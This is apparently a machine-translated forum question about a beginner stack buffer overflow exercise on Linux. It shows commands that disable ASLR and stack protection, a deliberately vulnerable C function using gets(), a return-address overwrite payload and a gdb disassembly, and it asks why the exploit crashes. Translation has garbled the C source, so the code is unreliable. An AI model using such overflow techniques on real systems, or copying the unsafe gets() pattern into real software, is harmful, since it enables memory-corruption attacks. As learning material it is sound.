简单来说,我想通过在堆栈上执行所需的地址来做一个简单的,非常基本的利用。
为此,我做了一些研究:
linux上的可随机化保护:
echo 0 > /proc/sys/kernel/randomize_va_space
编译时在gcc上启用堆栈执行。
gcc overflow.c -o overflow -mpreferred-stack-boundary=4 -fno-stack-protector -ggdb -z execstack -static
最后创建源代码,gdb和exploit。
void return_input(void){
char array [30]; 得到(阵列); 的printf( “%S \ n” 个,数组); }
int main(){
return_input(); 返回1; }
这个漏洞很简单
printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCC1234567\x40\x10\x5e" | ./overflow
考虑到gdb上的匹配地址。
最后。我知道漏洞“应该”有效。但是我收到以下错误。
16199 illegal hardware instruction (core dumped) ./overflow
我知道漏洞利用试图在我传递的地址上实际执行该函数。如果不起作用,系统上有某种保护(Linux 14.04 LTS更新),但我无法弄清楚它是什么。
有谁知道如何克服这种“非法硬件指令(核心转储)”
仅供参考,这是我正在尝试利用的功能的Gdb disas:
(gdb) disas return_input
Dump of assembler code for function return_input():
0x000000000040105e <+0>: push %rbp
0x000000000040105f <+1>: mov %rsp,%rbp
0x0000000000401062 <+4>: sub $0x20,%rsp
0x0000000000401066 <+8>: lea -0x20(%rbp),%rax
0x000000000040106a <+12>: mov %rax,%rdi
0x000000000040106d <+15>: callq 0x408650 <gets>
0x0000000000401072 <+20>: lea -0x20(%rbp),%rax
0x0000000000401076 <+24>: mov %rax,%rdi
0x0000000000401079 <+27>: callq 0x408840 <puts>
0x000000000040107e <+32>: leaveq
0x000000000040107f <+33>: retq
End of assembler dump.